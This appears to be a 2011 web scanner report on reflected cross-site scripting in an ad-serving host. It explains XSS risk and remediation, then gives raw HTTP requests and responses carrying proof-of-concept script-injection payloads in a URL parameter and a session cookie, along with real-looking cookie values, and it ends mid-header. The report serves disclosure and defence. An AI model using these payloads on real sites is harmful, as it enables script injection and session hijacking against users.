Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 82f41'style%3d'x%3aexpression(alert(1))'ba60de86aaa was submitted in the url parameter. This input was echoed as 82f41'style='x:expression(alert(1))'ba60de86aaa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /ad/iframe/215/journalregistercompany/728x90/middletown_press_btf?t=1296072891105&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d682f41'style%3d'x%3aexpression(alert(1))'ba60de86aaa&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDMwOTgzMywgIG5ldHdvcms6ICAgICAgImFwcG5leHVzIiwgIHNpemU6ICAgICAgICAgIjcyOHg5MCIsICBmcmVxOiAgICAgICAgICI5Mi05OTkiLCAgZGVmYXVsdHM6ICAgICAiMC0wIiwgIHJlcXVlc3Q6ICAgICAgIjAxMjRkMzMwLTRkNDUtNGU4ZS1iMWUyLWY1NjMyMjIxNjljYyIsICB1c2VyOiAgICAgICAgICI2YWNjY2NhNC1kMGU0LTQ2NGUtYTgyNC1mNjdjYjI4ZDU1NTYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYnRmIiwgIGRpdjogICAgICAgICAgIjAxMjRkMzMwLTRkNDUtNGU4ZS1iMWUyLWY1NjMyMjIxNjljYyIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAicmVhbC10aW1lIGJpZCIsICBpbXA6ICAgICAgICAgIDUyLCAgbmV0d29ya19pZDogICAxOTMsICBhY2NvdW50X2lkOiAgIDE3NTY4LCAgbmV0d29ya19uYW1lOiAiQXBwTmV4dXMgKFJUQikiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNzYiLCAgZmVjcG06ICAgICAgICAiMC43NiIsICBmaWxsOiAgICAgICAgICIxMDAuMDAiLCAgcGxhY2VtZW50OiAgICAibWlkZGxldG93bl9wcmVzc19idGYiLCAgcnVsZTogICAgICAgICAibWlkZGxldG93bl9wcmVzc19idGYiLCAgY3JlYXRpdmVfaWQ6ICAiMTU3ODM1IiwgIGJpZGRlcnM6ICAgICAgW3sibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuNzUiLCJhZCI6MjEwMDg5LCAiYnV5Ijo5MDIsImxwIjoiaHR0cDovL3d3dy50cmF2ZWxlcnMuY29tIiwiYW4iOiIiLCJzdGF0dXMiOiIwLjc1IiwiZmlkIjoyNTQsICJmY3BtIjoiMC42MCJ9LHsibmV0d29ya19uYW1lIjoiSW52aXRlIE1lZGlhIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjE0Mjk3LCAiYnV5Ijo1MDcsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQ29udGV4dFdlYiAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNDI5MywgImJ1eSI6MzcwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkRhdGFYdSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNDMwNSwgImJ1eSI6MjAwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1lZGlhTWF0aCAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIxNDYyMCwgImJ1eSI6NTA0LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlRyaWdnaXQgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNTg5MzksICJidXkiOjEyNDQsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTHVjaWRNZWRpYSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjI5ODYzOSwgImJ1eSI6MjAzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlF1YW50Y2FzdCAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjMwMzQ0OCwgImJ1eSI6MTgxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MTUxODY4NSwgImJ1eSI6MTc4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFwcE5leHVzIChSVEIpIiwgImJpZCI6IjQuMDYiLCJhZCI6MzA5ODMzLCAiYnV5IjoxMTMsImxwIjoiaHR0cDovL3d3dy5jbGlja2FiaWxpdHkuY29tIiwiYW4iOiIiLCJzdGF0dXMiOiI0LjA2IE4iLCJmaWQiOjI1NCwgImZjcG0iOiIwLjYwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYTYgRGVncmVlcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjQ4NzIxOCwgImJ1eSI6MzMxMiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJFcWFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE3MTU1OTQsICJidXkiOjQyNTIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJGb3JiZXMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTYzNDQ5LCAiYnV5Ijo3MjAwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMzkifQ== Content-Length: 1061 Content-Type: text/html Date: Thu, 27 Jan 2011 02:05:49 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3872a"><script>alert(1)</script>f202a9a4b50 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/300x250/middletown_press_atf?t=1296072885611&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d55563872a"><script>alert(1)</script>f202a9a4b50
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI4ODg4NiwgIG5ldHdvcms6ICAgICAgImFkYmxhZGUiLCAgc2l6ZTogICAgICAgICAiMzAweDI1MCIsICBmcmVxOiAgICAgICAgICIxLTMiLCAgZGVmYXVsdHM6ICAgICAiMC0wIiwgIHJlcXVlc3Q6ICAgICAgIjYyOTdlZWUyLTU2MzgtNDRkOC05YzBlLWViNGM4MjU4NWIwZSIsICB1c2VyOiAgICAgICAgICI2YWNjY2NhNC1kMGU0LTQ2NGUtYTgyNC1mNjdjYjI4ZDU1NTYzODcyYSI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PmYyMDJhOWE0YjUwIiwgIGNvdW50cnk6ICAgICAgIlVTIiwgIGNpdHk6ICAgICAgICAgIkRhbGxhcyIsICBkbWE6ICAgICAgICAgIDYyMywgIHJlZ2lvbjogICAgICAgIlRYIiwgIGlwOiAgICAgICAgICAgIjE3My4xOTMuMjE0LjI0MyIsICBkZXB0aDogICAgICAgIDEsICB0YXJnZXQ6ICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBkaXY6ICAgICAgICAgICI2Mjk3ZWVlMi01NjM4LTQ0ZDgtOWMwZS1lYjRjODI1ODViMGUiLCAgdXJsOiAgICAgICAgICAiaHR0cDovL3d3dy5taWRkbGV0b3ducHJlc3MuY29tL2FydGljbGVzLzIwMTEvMDEvMjYvZW50ZXJ0YWlubWVudC9kb2M0ZDNmYTJlNzZiMjVmNTEzNDc3MDQwLnR4dGE1YTY5IiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImFkIiwgIGltcDogICAgICAgICAgMSwgIG5ldHdvcmtfaWQ6ICAgNzQsICBhY2NvdW50X2lkOiAgIDE2MzIzLCAgbmV0d29ya19uYW1lOiAiQWRCbGFkZSIsICBwdWJsaXNoZXJfbmFtZTogImpvdXJuYWxyZWdpc3RlcmNvbXBhbnkiLCAgZWNwbTogICAgICAgICAiMC44NyIsICBmZWNwbTogICAgICAgICIwLjg3IiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTkzODMsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4ODgxLCAiYnV5IjoxMjQzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0NjIxLCAiYnV5IjoxNzYsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE5MDA4NjksICJidXkiOjUyMTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJFcWFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE3MTM2MDksICJidXkiOjQyNTEsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJGb3JiZXMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMTYzNDEwLCAiYnV5Ijo3MTk5LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc5In0= Content-Length: 2080 Content-Type: text/html Date: Thu, 27 Jan 2011 02:06:16 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f150c"><script>alert(1)</script>d466a1d2d8a was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/300x250/middletown_press_atf?t=1296072885611&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556f150c"><script>alert(1)</script>d466a1d2d8a
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDI4ODg4NiwgIG5ldHdvcms6ICAgICAgImFkYmxhZGUiLCAgc2l6ZTogICAgICAgICAiMzAweDI1MCIsICBmcmVxOiAgICAgICAgICIxLTMiLCAgZGVmYXVsdHM6ICAgICAiMC0wIiwgIHJlcXVlc3Q6ICAgICAgIjJhOGU0NGU5LTVjYjEtNDRlZS1hODczLTQ1YjA5Nzk0OWFiZCIsICB1c2VyOiAgICAgICAgICI2YWNjY2NhNC1kMGU0LTQ2NGUtYTgyNC1mNjdjYjI4ZDU1NTZmMTUwYyI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PmQ0NjZhMWQyZDhhIiwgIGNvdW50cnk6ICAgICAgIlVTIiwgIGNpdHk6ICAgICAgICAgIkRhbGxhcyIsICBkbWE6ICAgICAgICAgIDYyMywgIHJlZ2lvbjogICAgICAgIlRYIiwgIGlwOiAgICAgICAgICAgIjE3My4xOTMuMjE0LjI0MyIsICBkZXB0aDogICAgICAgIDEsICB0YXJnZXQ6ICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBkaXY6ICAgICAgICAgICIyYThlNDRlOS01Y2IxLTQ0ZWUtYTg3My00NWIwOTc5NDlhYmQiLCAgdXJsOiAgICAgICAgICAiaHR0cDovL3d3dy5taWRkbGV0b3ducHJlc3MuY29tL2FydGljbGVzLzIwMTEvMDEvMjYvZW50ZXJ0YWlubWVudC9kb2M0ZDNmYTJlNzZiMjVmNTEzNDc3MDQwLnR4dGE1YTY5IiwgIGVsYXBzZWQ6ICAgICAgMCwgIGRlY2lzaW9uOiAgICAgImFkIiwgIGltcDogICAgICAgICAgMSwgIG5ldHdvcmtfaWQ6ICAgNzQsICBhY2NvdW50X2lkOiAgIDE2MzIzLCAgbmV0d29ya19uYW1lOiAiQWRCbGFkZSIsICBwdWJsaXNoZXJfbmFtZTogImpvdXJuYWxyZWdpc3RlcmNvbXBhbnkiLCAgZWNwbTogICAgICAgICAiMC44NyIsICBmZWNwbTogICAgICAgICIwLjg3IiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2F0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTkzODMsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJUcmlnZ2l0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjU4ODgxLCAiYnV5IjoxMjQzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6Ik1heFBvaW50IEludGVyYWN0aXZlIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzA0NjIxLCAiYnV5IjoxNzYsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE5MDA4NjksICJidXkiOjUyMTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxNzEzNjA5LCAiYnV5Ijo0MjUxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRm9yYmVzIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjE2MzQxMCwgImJ1eSI6NzE5OSwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn1dLCAgdGFyZ2V0aW5nOiAgICAiIiwgIGhvc3Q6ICAgICAgICAgIm5qLXRhZzI2In0= Content-Length: 2080 Content-Type: text/html Date: Thu, 27 Jan 2011 02:06:17 GMT Connection: close
The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12eed"><script>alert(1)</script>e034ad62616 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ad/iframe/215/journalregistercompany/300x250/middletown_press_btf?t=1296072890535&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 HTTP/1.1 Host: tag.admeld.com Proxy-Connection: keep-alive Referer: http://www.middletownpress.com/articles/2011/01/26/entertainment/doc4d3fa2e76b25f513477040.txta5a69%22style%3d%22x%3aexpression(alert(1))%225c0fc6a83d6 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: D41U=3Nyj5fipbZBWiT7eNY-OMuK0KbpdEAgp0GrH-wWfsMRl3pcGRo-aEow; meld_sess=6acccca4-d0e4-464e-a824-f67cb28d555612eed"><script>alert(1)</script>e034ad62616
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR" Pragma: no-cache Cache-Control: no-store Expires: Mon, 26 Jul 1997 05:00:00 GMT X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMjE1LCAgc2l0ZTogICAgICAgICAiam91cm5hbHJlZ2lzdGVyY29tcGFueSIsICBhZDogICAgICAgICAgIDE1MjkyOTQsICBuZXR3b3JrOiAgICAgICJyZXZzY2llbmNlIiwgIHNpemU6ICAgICAgICAgIjMwMHgyNTAiLCAgZnJlcTogICAgICAgICAiMS0xMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiZWI4YjExMTEtZDhiNi00ZjI5LTljZjQtOGY0YmRiY2YxN2ZhIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NjEyZWVkIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+ZTAzNGFkNjI2MTYiLCAgY291bnRyeTogICAgICAiVVMiLCAgY2l0eTogICAgICAgICAiRGFsbGFzIiwgIGRtYTogICAgICAgICAgNjIzLCAgcmVnaW9uOiAgICAgICAiVFgiLCAgaXA6ICAgICAgICAgICAiMTczLjE5My4yMTQuMjQzIiwgIGRlcHRoOiAgICAgICAgMSwgIHRhcmdldDogICAgICAgIm1pZGRsZXRvd25fcHJlc3NfYnRmIiwgIGRpdjogICAgICAgICAgImViOGIxMTExLWQ4YjYtNGYyOS05Y2Y0LThmNGJkYmNmMTdmYSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vd3d3Lm1pZGRsZXRvd25wcmVzcy5jb20vYXJ0aWNsZXMvMjAxMS8wMS8yNi9lbnRlcnRhaW5tZW50L2RvYzRkM2ZhMmU3NmIyNWY1MTM0NzcwNDAudHh0YTVhNjkiLCAgZWxhcHNlZDogICAgICAwLCAgZGVjaXNpb246ICAgICAiYWQiLCAgaW1wOiAgICAgICAgICAxLCAgbmV0d29ya19pZDogICA0OSwgIGFjY291bnRfaWQ6ICAgNTE3OTEsICBuZXR3b3JrX25hbWU6ICJBdWRpZW5jZVNjaWVuY2UiLCAgcHVibGlzaGVyX25hbWU6ICJqb3VybmFscmVnaXN0ZXJjb21wYW55IiwgIGVjcG06ICAgICAgICAgIjAuNzMiLCAgZmVjcG06ICAgICAgICAiMC43MyIsICBmaWxsOiAgICAgICAgICIzMy4yOCIsICBwbGFjZW1lbnQ6ICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBydWxlOiAgICAgICAgICJtaWRkbGV0b3duX3ByZXNzX2J0ZiIsICBjcmVhdGl2ZV9pZDogICIiLCAgYmlkZGVyczogICAgICBbeyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTkzODMsICJidXkiOjUwMywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCI